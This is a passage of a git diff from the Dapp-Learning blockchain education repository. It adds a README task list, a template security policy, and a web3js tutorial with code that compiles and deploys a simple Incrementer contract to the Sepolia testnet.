+55. [PBFT](https://medium.com/loom-network-chinese/%E4%BA%86%E8%A7%A3%E5%8C%BA%E5%9D%97%E9%93%BE%E7%9A%84%E5%9F%BA%E6%9C%AC-%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%8B%9C%E5%8D%A0%E5%BA%AD%E5%AE%B9%E9%94%99-byzantine-fault-tolerance-8a1912c311ba) ⬜
+56. [IDO](https://github.com/gnosis/ido-contracts) ⬜
+57. [Orbit model](https://github.com/orbit-love/orbit-model) ⬜
+58. [snapshot](basic/40-snapshot) ⌛
+59. [wagmi and nextjs](basic/59-wagmi-and-nextjs) ⌛
+60. [Referral Code](https://developers.thundercore.com/docs/referral-contract/) ⬜
+61. [ENS](basic/61-ENS) ✅
+62. [Tenderly](https://dashboard.tenderly.co/explorer)
+63. [HTLC-crosschain](basic/63-htlc-crosschain) ✅
+64. [state channel](https://ethereum.org/en/developers/docs/scaling/state-channels/)  ⬜
+65. [ZK-NFT](https://github.com/kevinz917/zk-NFT)
+66. [Kleros](https://kleros.io/)
+67. [Go-Ethereum Code Analysis](basic/67-Go-Ethereum-Code-Analysis/readme.md)
+68. [Config discord with Collab.land](basic/68-config-discord-with-Collab.land)  ✅
+69. [Decentralized OTC](https://github.com/DOTCPro)
+70. [Arweave file upload with Bundlr Client](basic/70-arweave-file-upload-with-bundlr/README.md)
+71. [NYM](https://myz1237.substack.com/p/nymwhitepaper?r=uaq4w&utm_campaign=post&utm_medium=web&utm_source=) ⬜
+72. [Unlock protocol](https://docs.unlock-protocol.com/unlock/developers/unlock-platform)
+73. [onchainNFT](https://github.com/Park-City-Utah/onChainNFT)
+74. [erc20-meta-token](https://github.com/0xsequence/erc20-meta-token)
+75. [golang-dapp](basic/75-golang-dapp) ✅
+76. [Push Protocol](https://docs.epns.io/developers)
+77. [orbit](basic/77-orbit)
+78. [wallet connect](basic/78-wallet-connect)
+79. [hardhat-foundry](basic/79-hardhat-foundry)
+80. [Circle CCTP](basic/80-circle-cctp)
+
+Welcome to submit pull request, [Add a new basic task or update the above task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+
+## Advanced task
+
+**The preparatory work**:
+  For developers with a certain foundation, this part selects mainstream high-quality projects for source code analysis and code review.
+
+  The project can be deployed to the test network and shared with the community as a basis. Large DEFI projects are complicated so we suggest to establish a study group to cooperate, ie. one for white paper, one for the front end, one for the contract, and one for data presentation.
+
+  Developers can initiate project research topic, form groups, and collaborate within the development community. This section is recommended as a submodule.
+
+## DeFi advanced tasks
+The DEFI bibles will set you up with a good fundamental understanding of the DEFI system.
+  [How to DeFi](https://store.coingecko.com/collections/frontpage/products/how-to-defi-beginner)
+  [How to DeFi:Advanced](https://store.coingecko.com/collections/frontpage/products/how-to-defi-advanced)
+
+**DEFI Learning roadmap：**
+Trading -> Lending -> Derivatives
+
+You can refer to our study group's learning roadmap, which is better with the video.
+
+- Trading: uniV1(task13) -> uniV2 -> uniV3 -> CurveV1 -> CurveV2
+- Lending: Aave -> Compound -> Liquity -> Euler
+- Derivatives: SNX -> YFI -> Perpetual -> Opyn
+
+01. [UniswapV2](defi/Uniswap-V2/readme.md) ✅
+02. [UniswapV3](defi/Uniswap-V3/readme.md) ✅
+03. [CurveV1](defi/Curve-V1/README.md) ⌛
+04. [CurveV2](defi/Curve-V2/readme.md) ⌛
+05. [Compound](defi/Compound/readme.md) ✅
+06. [Aave](https://docs.aave.com/portal/)  ✅
+07. [Liquity](defi/Liquity/) ✅
+08. [Euler](defi/Euler/readme.md) ⌛
+09. [SNX](https://github.com/Synthetixio) [👉 Pick up this Task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+10. [YFI](https://yearn.finance/) ⌛
+11. [Perpetual Protocol](https://www.chainnews.com/articles/163436212237.htm) ⌛
+12. [Sushi](https://docs.sushi.com/) ✅
+13. [OPYN](https://v2.opyn.co/)⌛
+14. [Alchemix](https://github.com/alchemix-finance/alchemix-protocol) ✅
+15. [AMPL](https://roninchow.gitbook.io/ampleforth-cn/technology) [👉 Pick up this Task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+16. [RAI](defi/RAI/)⌛
+17. [DYDX](https://dydx.exchange/)[👉 Pick up this Task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+18. [INDEX](https://mp.weixin.qq.com/s/PXOY3G6AIbhzRUptjYoWIw)[👉 Pick up this Task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+19. [DODO Trading API](https://dodoex.github.io/docs/zh/docs/tradeApi) [👉 Pick up this Task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+20. [MakerDao](https://zhuanlan.zhihu.com/p/41889079)⌛
+21. [0x-protocol](defi/0x-protocol/README.md) [👉 Pick up this Task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+22. [Bancor](https://bancor.network/)⌛
+23. [Set](https://www.tokensets.com/)
+24. [Dhedge](https://docs.dhedge.org/dhedge-protocol/managing-on-v2)
+25. [Element](https://app.element.fi/fixedrates)
+
+![Defi-Roadmap](./docs/imgs/Defi-Roadmap.png)
+
+
+## NFT advanced tasks
+
+- 01. [OpenSea](nft/opensea/readme.md) [👉 Claim this Task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+- 02. [aavegotchi](https://aavegotchi.com/) [👉 Claim this Task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+- 03. [Loot NFT Distribute](nft/loot-nft/README.md)
+- 04. [Rarible](https://docs.rarible.org/overview/union/)
+- 05. [Zora](https://docs.zora.co/)
+- 06. [Alchemy](https://www.alchemy.com/nft-api)
+- 07. [Infura](https://www.infura.io/platform/nft-api)
+
+## DAO advanced tasks
+
+- 01. [Aragon](dao/Aragon/readme.md)
+- 02. Augur [👉 Pick up this task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+- 03. [DAOHaus](https://daohaus.club/)
+- 04. [DAOstack](https://daostack.io/)  [👉 Pick up this task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+- 05. [Gnosis](https://github.com/gnosis)[👉 Pick up this task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+
+## Crypto advanced tasks
+Please read the book first:
+[《Graphic encryption technology》](https://book.douban.com/subject/26822106/)
+Item list:
+- 01.[ECC](./crypto/ECC)
+- 02.[PLONK](./crypto/PLONK)
+- 03.[tornado](https://medium.com/taipei-ethereum-meetup/tornado-cash-%E5%AF%A6%E4%BE%8B%E8%A7%A3%E6%9E%90-eb84db35de04)
+- 04.[zk_snark](https://arxiv.org/pdf/1906.07221.pdf)
+[👉 Claim this task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+- 05.[js crypto](https://github.com/fireship-io/node-crypto-examples)
+  [👉 Claim this Task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+- 06.[MINA](https://minaprotocol.com/)
+- 07.[ZETH](https://github.com/clearmatics/zeth)
+
+
+## Smart Contract Security
+1. Common safety tools
+- [Slither](https://github.com/crytic/slither)
+- [Mythril](https://github.com/ConsenSys/mythril)
+- [Securify](https://github.com/eth-sri/securify2)
+2. CTF Training camp
+ - [Ethernaut](https://ethernaut.openzeppelin.com/)
+ - [Damn-Vulnerable-Defi](https://github.com/OpenZeppelin/damn-vulnerable-defi/blob/master/contracts/DamnValuableToken.sol) | [Solution](security/Damn-Vulnerable-DeFi-wp.md)
+ - [Paradigm-ctf](https://github.com/paradigm-operations/paradigm-ctf-2021)
+ - [Smart Contract CTF](https://blockchain-ctf.securityinnovation.com)
+3. Safe development practices
+ - [Safety development practice of Solidity](https://github.com/slowmist/Knowledge-Base/blob/master/translations/solidity-security-comprehensive-list-of-known-attack-vectors-and-common-anti-patterns_zh-cn.md)
+4. Integration of learning resources
+ - [Awesome Blockchain Security](https://github.com/xxxeyJ/Awesome-Blockchain-Security)
+ - [Immunefi ](https://immunefi.com/learn/)
+
+## Cryptocurrency Jobs Websites
+Feel like a career in the crypto industry? The following websites fyi:
+ - https://cryptocurrencyjobs.co/
+ - https://angel.co/jobs
+ - https://www.paradigm.xyz/opportunities/
+ - https://web3.career/
+ - https://portfoliojobs.a16z.com/jobs?markets=Crypto
+
+## Hackathons
+
+Participating in hackathons increases practical experience, you can participate in:
+
+- [Gitcoin](https://gitcoin.co/hackathon/)
+- [boilerplate](https://github.com/ethereum-boilerplate/ethereum-boilerplate)
+- [Immunefi Bug Bounty Platform](https://immunefi.com/)
+- [Code4rena Bug Bounty Platform](https://code4rena.com/)
+
+## Project Ecology
+Dapp-learning has a series of derivative projects and joint maintenance projects. Refer to [related projects](./docs/relative-projects-en.md). Learn more about the ecology of the Dapp-Learning project.
+
+## Guide to Contribution
+Interested in participating? Check out this doc and find out how you can be a member of us: [How to contribute](./docs/dao-en.md).
+
+## Frequently Asked Questions (FAQ)
+Please refer to [this link](./docs/TROUBLE_SHOOTING-en.md) to get some answers on how to set up dev environment, how to use the project, and how to get tokens for testing, etc.
+
+## Donation Wanted
+Open-sourced projects are not easy to maintain so we'd love all kinds of donations. Dapp Learning team follows DAO's governance and all donations would be allocated to our community members as crypto rewards and/or NFTs based on their quality of contributions.
+
+We have a Gitcoin campaign to sustain the Dapp-Learning efforts:
+- Gitcoin grant address: [Dapp-Learning gitcoin grant](https://gitcoin.co/grants/3414/dapp-learning-developer-group-1)
+
+Direct donation to our dev team's fund is also appreciated:
+- Ethereum main network/zkSync/Arbitrum：
+0x1F7b953113f4dFcBF56a1688529CC812865840e1
+
+**We also have created multi-signature wallets on Polygon, managed by our core contributors**
+- Polygon [Multiple signature wallets](https://app.safe.global/matic:0x2A6D09B3b11E5455a37F907f2ec885E0Be704779 ): 0x2A6D09B3b11E5455a37F907f2ec885E0Be704779
+
+Sponsorship grants are managed under a multi-signature wallet by core contributor team; the fund is available to all contributors for their stellar additions to the project. We look forward to see your contributions soon.
+
+## Cooperative partner
+
+
+<br>
+<div align="left">
+  <a href="https://www.ethereum.cn/">
+    <img align="top" src="./docs/imgs/partners/ECN-logo.png" />
+  </a>
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  <a href="https://www.ethplanet.org/">
+    <img align="top" src="./docs/imgs/partners/ethplanet-logo.png" />
+  </a>
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  <a href="https://learnblockchain.cn/">
+    <img align="top" src="./docs/imgs/partners/learnblockchain-logo.png" />
+  </a>
+</div>
+<br>
+<div align="left">
+  <a href="https://thublockchain.org/">
+    <img align="top" src="./docs/imgs/partners/THUBA-logo.png" />
+  </a>
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  <a href="#">
+    <img align="top" src="./docs/imgs/partners/PKU-logo.png" />
+  </a>
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  <a href="https://btcu.tech/">
+    <img align="top" src="./docs/imgs/partners/BTCU-logo.png" />
+  </a>
+</div>
+<br>
+<br>
+
+## Sponsor partner
+
+Shout out to the following organizations for their unconditional donations to us/the open-source project (in no particular order).
+
+<br>
+<div align="left">
+  <a href="https://ethereum.foundation/" style="display: inline-block; ">
+    <img align="top" src="./docs/imgs/sponsor-partners/ethereum-foundation-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://www.optimism.io/">
+    <img align="top" src="./docs/imgs/sponsor-partners/OP-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://www.starknet.io/">
+    <img align="top" src="./docs/imgs/sponsor-partners/starknet-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://scroll.io/">
+    <img align="top" src="./docs/imgs/sponsor-partners/Scroll-logo.png" />
+  </a>
+</div>
+<div align="left">
+  <a href="https://www.nervos.org/">
+    <img align="top" src="./docs/imgs/sponsor-partners/nervos-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://t.me/planckeropencommunity/">
+    <img align="top" src="./docs/imgs/sponsor-partners/plancker-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://degate.com/">
+    <img align="top" src="./docs/imgs/sponsor-partners/Degate-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://loopring.org/">
+    <img align="top" src="./docs/imgs/sponsor-partners/Loopring-logo.png" />
+  </a>
+</div>
+<div align="left">
+  <a href="https://snzholding.com/">
+    <img align="top" src="./docs/imgs/sponsor-partners/SNZ-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://www.bing-ventures.com/">
+    <img align="top" src="./docs/imgs/sponsor-partners/BingVentures-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://drklab.net/">
+    <img align="top" src="./docs/imgs/sponsor-partners/DRK-lab-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://capital.hashkey.com/en/">
+    <img align="top" src="./docs/imgs/sponsor-partners/Hashkey-logo.png" />
+  </a>
+</div>
+<div align="left">
+  <a href="https://eth-store.w3eth.io/">
+    <img align="top" src="./docs/imgs/sponsor-partners/EthStorage-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://bingx.com/en-us/">
+    <img align="top" src="./docs/imgs/sponsor-partners/BingX-logo.png" />
+  </a>
+  <a href="https://mapprotocol.io/">
+    <img align="top" src="./docs/imgs/sponsor-partners/MapProtocol-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://minaprotocol.com/">
+    <img align="top" src="./docs/imgs/sponsor-partners/Mina-logo.png" />
+  </a>
+</div>
+<br>
+
+## Contributors
+
+<div align="center">
+  <h4 align="center">
+    Thanks to the contributors of Dapp Learning
+  </h4>
+  <a href = "https://github.com/Dapp-Learning-DAO/Dapp-Learning/graphs/contributors">
+    <img src = "https://contrib.rocks/image?repo=Dapp-Learning-DAO/Dapp-Learning&max=200"/>
+  </a>
+</div>
+
+<br>
+Disclaimer: DappLearning is a non-profit learning organization and not involved in any commercial events or endorsements for commercial projects.
diff --git a/SECURITY.md b/SECURITY.md
new file mode 100644
index 000000000..034e84803
--- /dev/null
+++ b/SECURITY.md
@@ -0,0 +1,21 @@
+# Security Policy
+
+## Supported Versions
+
+Use this section to tell people about which versions of your project are
+currently being supported with security updates.
+
+| Version | Supported          |
+| ------- | ------------------ |
+| 5.1.x   | :white_check_mark: |
+| 5.0.x   | :x:                |
+| 4.0.x   | :white_check_mark: |
+| < 4.0   | :x:                |
+
+## Reporting a Vulnerability
+
+Use this section to tell people how to report a vulnerability.
+
+Tell them where to go, how often they can expect to get an update on a
+reported vulnerability, what to expect if the vulnerability is accepted or
+declined, etc.
diff --git a/basic/01-web3js-deploy/.env.example b/basic/01-web3js-deploy/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/basic/01-web3js-deploy/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/Example01-web3js-deploy/Incrementer.sol b/basic/01-web3js-deploy/Incrementer.sol
similarity index 92%
rename from Example01-web3js-deploy/Incrementer.sol
rename to basic/01-web3js-deploy/Incrementer.sol
index 695aa320c..625173a36 100644
--- a/Example01-web3js-deploy/Incrementer.sol
+++ b/basic/01-web3js-deploy/Incrementer.sol
@@ -1,3 +1,4 @@
+// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.0;
 
 contract Incrementer {
diff --git a/basic/01-web3js-deploy/README-cn.md b/basic/01-web3js-deploy/README-cn.md
new file mode 100644
index 000000000..363101502
--- /dev/null
+++ b/basic/01-web3js-deploy/README-cn.md
@@ -0,0 +1,155 @@
+中文 / [English](./README.md)
+## 前言
+通过本样例代码，使开发者了解合约编译，部署的基本流程，并掌握基本的 web3js 接口使用方法
+
+- 本样例发送交易到 Infura , 需要创建相应的 Infura Project, 可以参考如下资料进行创建
+https://ithelp.ithome.com.tw/articles/10202794 在成功创建 Infura Project 后，可以获取相应的PROJECT ID
+
+- 本样例中，需要自己来生成私钥。可通过多种方式来生成私钥。常见的方式是通过Metamask。可参考《精通以太坊》或其他文档安装： https://www.bookstack.cn/read/ethereum_book-zh/spilt.4.77adf5064f4455e8.md  安装完成后，连接到 Sepolia 测试网络，点击账户详情-导出私钥，获得创建的测试账号的私钥PRIVATE_KEY。
+
+- 给 sepolia 测试网络中的测试账号充值。上一步开立的账号中，余额为0， 可通过faucets来充值： https://faucets.chain.link/  每次冲入0.1Eth。
+ 
+- 为方便代码测试, 在 .env 中放入私钥和Infura Project ID，格式为 "PRIVATE_KEY=xxxx" "INFURA_ID=yyyyyyyy", index.js代码会自动从中读取, 样例文件可参考 .env.example  
+
+
+## 合约功能说明   
+constructor: 构造函数, 用于部署合约时调用, 同时在其中初始化了公共变量 number 的值  
+increment:   增值函数, 根据传入的数值 ( _value ), 对公共变量 number 进行增值 ( number + _value )   
+reset:       重置函数, 用于重置公共变量 number 的值为 0    
+getNumber:   查询函数, 用于查询公共变量 number 当前的数值  
+
+## 测试流程:
+1)  安装依赖
+```js
+npm install
+// 本教程使用的 node 版本为 v20.11.0
+```
+
+2) 配置 .env
+```
+cp .env.example .env
+
+## 修改 .env 中的 INFURA_ID 和 PRIVATE_KEY 为实际的值  
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
+```
+
+3） 执行 index.js
+```
+node index.js
+```
+## index.js 代码逻辑说明  
+1) 读取私钥  
+出于安全考虑, 私钥没有进行硬编码, 而是通过环境变量的方式进行获取. 启动测试时, dotenv 插件自动读取 .env 配置文件中的配置项, 然后加载为环境变量, 之后在代码中可以通过 process.env 读取私钥 ( 也包括其他环境变量 )    
+```js
+require("dotenv").config();
+const privatekey = process.env.PRIVATE_KEY;
+```     
+     
+2)  编译合约    
+我们无法直接使用 .sol 文件, 需要把它编译为 bin 文件 ( 二进制文件 ), 因此在代码中需要进行这一步的逻辑处理.  
+- 读取文件   
+第一步, 我们先进行文件的读取, 把 sol 文件加载为 source 变量 
+```js
+
+// Load contract
+const source = fs.readFileSync("Incrementer.sol", "utf8");
+```
+
+- 进行合约编译    
+这里进行编译动作. 把 sol 源码编译为 solidity 对象. 这里需要注意的是不同的 sol 源码版本, 编译的方式可能稍有不同, 这里因为 "Incrementer.sol" 对应的是 sol 是 0.8.0 版本, 所以我们可以使用如下的方式进行编译 
+```js 
+// compile solidity
+const input = {
+  language: "Solidity",
+  sources: {
+    "Incrementer.sol": {
+      content: source,
+    },
+  },
+  settings: {
+    outputSelection: {
+      "*": {
+        "*": ["*"],
+      },
+    },
+  },
+};
+
+const compiledCode = JSON.parse(solc.compile(JSON.stringify(input)));
+```
+
+3) 获取二进制对象  
+在上一步编译成功的 solidity 对象里面包含很多的属性/值, 而我们需要的是其中合约对象的二进制, abi 属性值. 如下, 我们通过属性提取方式进行获取. solidity 对象的其他属性可以通过代码调试方式进行调试, 这里不再赘述. 
+```js
+const contractFile = compiledCode.contracts["Incrementer.sol"]["Incrementer"];
+
+// Get bin & abi
+const bytecode = contractFile.evm.bytecode.object;
+const abi = contractFile.abi;
+```  
+
+4) 构造 web3 对象   
+通过 web3 对象可以很方便的发送相应的交易到区块链网络, 同时获取区块链的处理结果. 
+构造 web3 对象时, 主要需要传入一个参数, 就是对应的区块链网络, 包括 sepolia 等测试网络, 或是 mainnet 主网. 
+这里我们使用 sepolia 测试网络. 如果没有 sepolia 网络的测试币, 可以切换到其他的测试网络. 
+同时需要注意的是, 这里我们通过 infura 向对应的区块链网络发送交易, 而 INFURA_ID 这个变量值也需要配置在 .env 文件中, 具体如何获取 infura_id, 可自行搜索查找相关文档 
+```js
+// Create web3 with sepolia provider，you can change sepolia to other testnet
+const web3 = new Web3(
+  "https://sepolia.infura.io/v3/" + process.env.INFURA_ID
+);
+```
+
+5) 获取账户地址  
+在区块链上, 每个用户都有一个对应的账户地址, 而这个账户地址可以通过私钥进行获取. 这里, 我们调用 web3.eth.accounts.privateKeyToAccount 接口, 传入对应的私钥, 就可以获取对应的账户地址
+```js
+// Create account from privatekey
+const account = web3.eth.accounts.privateKeyToAccount(privatekey);
+const account_from = {
+  privateKey: privatekey,
+  accountAddress: account.address,
+};
+```
+
+6) 构造合约实例 
+在步骤 3 中, 我们获取了 sol 源文件编译后的二进制 和 abi, 这里就可以使用对应的 abi 构造相应的合约实例, 以便在后续中通过合约实例进行交易的发送
+```js
+// Create contract instance
+const deployContract = new web3.eth.Contract(abi);
+```
+
+7) 创建合约交易   
+调用 deployContract.deploy 接口, 我们创建了部署合约的二进制交易. 这里, 此交易还没有发送到区块链网络, 即合约还没有被创建  
+```js
+// Create Tx
+const deployTx = deployContract.deploy({
+ data: '0x' + bytecode,
+  arguments: [0],
+});
+```  
+
+
+
+9) 部署合约  
+这里使用发送签名后的交易到区块链网络, 同时会去返回的交易回执. 从返回的交易回执中可以得到此次部署的合约的地址 
+```js
+const tx = await deployTx.send({
+  from: accounts[0].address,
+  gas,
+  // gasPrice: 10000000000,
+});
+```
+
+## 参考文档
+- Web3js官方文档：
+  https://web3js.readthedocs.io/en/v1.2.11/getting-started.html
+- Web3js中文文档(1.2.6):
+  https://learnblockchain.cn/docs/web3.js/web3-eth-contract.html
+- 样例代码参考如下链接 
+  https://docs.moonbeam.network/getting-started/local-node/deploy-contract/  
+- Web3js使用参考文档:  
+  https://www.dappuniversity.com/articles/web3-js-intro
+- nodejs参考文档：
+  http://nodejs.cn/api/fs.html
+  
diff --git a/basic/01-web3js-deploy/README.md b/basic/01-web3js-deploy/README.md
new file mode 100644
index 000000000..5e5ef533e
--- /dev/null
+++ b/basic/01-web3js-deploy/README.md
@@ -0,0 +1,166 @@
+[中文](./README-cn.md) / English
+
+# Abstract
+
+Through this basic task, you can learn the processes of compiling and deploying a smart contract, as well as learn how to use the basic APIs of `web3js`.
+
+# Preparation
+
+- You need to create a project on [Infura](https://infura.io), and get the `PROJECT ID`, change your `ENDPOINTS` to `Sepolia`;
+
+- Create an account on `MetaMask`, which is a browser extension;
+
+  1. Get a wallet `address`, and the private key;
+  2. Go `Settings` - `advanced` and open `Show test networks`;
+     - Select `Sepolia`, and record this address
+  3. Top up your account through [faucets](https://faucets.chain.link) or others web services;
+  4. Wait for minutes, and see the balance on `MetaMask`
+
+- Create a `.env` file, and add the following lines:
+
+  ```text
+  PRIVATE_KEY=YOUR_PRIVATE_KEY
+  INFURA_ID=YOUR_PROJECT_ID
+  ```
+
+  | Note: You can check the `.env.example` file.
+
+
+
+# Getting Started
+
+## Understanding The Functions of the [Smart Contract](Incrementer.sol)
+
+- `Constructor`: The constructor function of the smart contract, which is called when the contract is deployed, at the same time it will initialize the `number` to `_initialNumber`;
+- `increment`: The function of incrementing the `number` by given `_value`;
+- `rest`: The function of resetting the `number` to 0;
+- `getNumber`: The function of getting the `number`.
+
+## How to run it
+
+1. Please use node v20.11.0 to run following commands
+2. Install dependencies: `npm install`
+3. Copy the configuration file: `cp .env.example .env`
+4. Edit the configuration file: `vim .env`, copy your project ID and private key to the `.env` file
+   ```text
+   PRIVATE_KEY=YOUR_PRIVATE_KEY
+   INFURA_ID=YOUR_PROJECT_ID
+   ```
+5. Run the `index.js` file: `node index.js`
+
+# Interpret the Code in `index.js`
+
+`index.js` contains the most important part of this task, which includes the following functions:
+
+## 1. Load the configuration file
+
+For security sake, the private key is not hard-coded, but it can be read as environment variables. When run this task, the `dotenv` plugin will automatically read the configurations in the `.env` file and load them as environment variables, and then you can use the private key and other environment variables via `process.env` .  
+Here is the code:
+
+```js
+require('dotenv').config();
+const privatekey = process.env.PRIVATE_KEY;
+```
+
+## 2. Compile the smart contract file
+
+You can not use `.sol` files directly, you need to compile it to binary file firstly.
+
+### Load the smart contract file `Incrementer.sol` into `source` variable.
+
+```js
+// Load contract
+const source = fs.readFileSync('Incrementer.sol', 'utf8');
+```
+
+#### Compile the smart contract file
+
+```js
+const input = {
+  language: 'Solidity',
+  sources: {
+    'Incrementer.sol': {
+      content: source,
+    },
+  },
+  settings: {
+    outputSelection: {
+      '*': {
+        '*': ['*'],
+      },
+    },
+  },
+};
+
+const tempFile = JSON.parse(solc.compile(JSON.stringify(input)));
+```
+
+| Note: The version of solidity in this task is `0.8.0`, different versions may have different compile ways.
+
+## 3. Get the `bytecode` and `abi`
+
+```js
+const contractFile = tempFile.contracts['Incrementer.sol']['Incrementer'];
+
+// Get bin & abi
+const bytecode = contractFile.evm.bytecode.object;
+const abi = contractFile.abi;
+```
+
+## 4. Create the `web3` instance
+
+`web3` is the main API of the `web3js` library. It is used to interact with the blockchain.
+
+```js
+// Create web3 with sepolia provider，you can change sepolia to other testnet
+const web3 = new Web3('https://sepolia.infura.io/v3/' + process.env.INFURA_ID);
+```
+
+| Note: The `INFURA_ID` is the `PROJECT ID` of the `Infura` project you created in **Preparation** part.
+
+## 5. Get the `account` address
+
+On blockchain, each user has a `address`, which is unique for others, and you can get the `address` by the private key. In this task, you can use to `web3.eth.accounts.privateKeyToAccount` API to get your `account` address by passing the private key as a parameter.
+
+```js
+// Create account from privatekey
+const accounts = web3.eth.accounts.wallet.add(privatekey);
+```
+
+## 6. Get contract instance
+
+In the 3rd step, you got the `bytecode` and `abi`, so you can create the contract instance by the `abi`
+
+```js
+// Create contract instance
+const deployContract = new web3.eth.Contract(abi);
+```
+
+## 7. Create the `deploy` transaction
+
+```js
+// Create Tx
+const deployTx = deployContract.deploy({
+  data: '0x' + bytecode,
+  arguments: [0], // Pass arguments to the contract constructor on deployment(_initialNumber in Incremental.sol)
+});
+```
+
+## 8. Deploy your smart contract
+
+Use your private key to sign the `deploy` transaction.
+
+```js
+const tx = await deployTx.send({
+  from: accounts[0].address,
+  gas,
+  // gasPrice: 10000000000,
+});
+```
+
+# References
+
+- Web3js Official Documents: https://web3js.readthedocs.io/en/v1.2.11/getting-started.html
+- Code and Examples: https://docs.moonbeam.network/getting-started/local-node/deploy-contract/
+- How to use web3js: https://www.dappuniversity.com/articles/web3-js-intro
+- Nodejs APIs Documents: http://nodejs.cn/api/fs.html
diff --git a/basic/01-web3js-deploy/index.js b/basic/01-web3js-deploy/index.js
new file mode 100644
index 000000000..e44a94d92
--- /dev/null
+++ b/basic/01-web3js-deploy/index.js
@@ -0,0 +1,106 @@
+let { Web3 } = require('web3');
+let solc = require('solc');
+let fs = require('fs');
+
+// Get privatekey from environment
+require('dotenv').config();
+let privatekey = process.env.PRIVATE_KEY;
+if (privatekey.slice(0, 2) !== '0x') privatekey = '0x' + privatekey;
+
+// Load contract
+const source = fs.readFileSync('Incrementer.sol', 'utf8');
+
+// compile solidity
+const input = {
+  language: 'Solidity',
+  sources: {
+    'Incrementer.sol': {
+      content: source,
+    },
+  },
+  settings: {
+    outputSelection: {
+      '*': {
+        '*': ['*'],
+      },
+    },
+  },
+};
+
+const compiledCode = JSON.parse(solc.compile(JSON.stringify(input)));
+const contractFile = compiledCode.contracts['Incrementer.sol']['Incrementer'];
+
+// Get bin & abi
+const bytecode = contractFile.evm.bytecode.object;
+const abi = contractFile.abi;
+
+// Create web3 with sepolia provider，you can change sepolia to other testnet
+const web3 = new Web3('https://sepolia.infura.io/v3/' + process.env.INFURA_ID);
+
+// Create account from privatekey
+const accounts = web3.eth.accounts.wallet.add(privatekey);
+
+/*
+   -- Deploy Contract --
+*/
+// 添加错误处理和日志
+const Deploy = async () => {
+  try {
+    // 添加部署前的检查
+    if (!process.env.INFURA_ID) {
+      throw new Error('Missing INFURA_ID environment variable');
+    }
+    if (!process.env.PRIVATE_KEY) {
+      throw new Error('Missing PRIVATE_KEY environment variable');
+    }
+
+    // Create contract instance
+    const deployContract = new web3.eth.Contract(abi);
+    
+    // Create Tx
+    const deployTx = deployContract.deploy({
+      data: '0x' + bytecode,
+      arguments: [0], // Pass arguments to the contract constructor on deployment(_initialNumber in Incremental.sol)
+    });
+    
+    // optionally, estimate the gas that will be used for development and log it
+    const gas = await deployTx.estimateGas({
+      from: accounts,
+    });
+    console.log('estimated gas:', gas);
+    
+    // 添加更详细的日志
+    console.log('Contract deployment started...');
+    console.log('Network:', await web3.eth.net.getNetworkType());
+    console.log('Account:', accounts[0].address);
+    
+    const tx = await deployTx.send({
+      from: accounts[0].address,
+      gas,
+    });
+    
+    console.log('Contract deployed successfully!');
+    console.log('Contract address:', tx.options.address);
+    console.log('Transaction hash:', tx.transactionHash);
+    
+    // 添加部署后的验证
+    const code = await web3.eth.getCode(tx.options.address);
+    if (code === '0x') {
+      throw new Error('Contract deployment failed - no code at address');
+    }
+    
+    return tx.options.address;
+  } catch (error) {
+    console.error('Deployment failed:', error.message);
+    // throw error;
+  }
+};
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+Deploy()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/01-web3js-deploy/package.json b/basic/01-web3js-deploy/package.json
new file mode 100644
index 000000000..0a1a2abd2
--- /dev/null
+++ b/basic/01-web3js-deploy/package.json
@@ -0,0 +1,16 @@
+{
+  "name": "Example01-deploy-contract",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
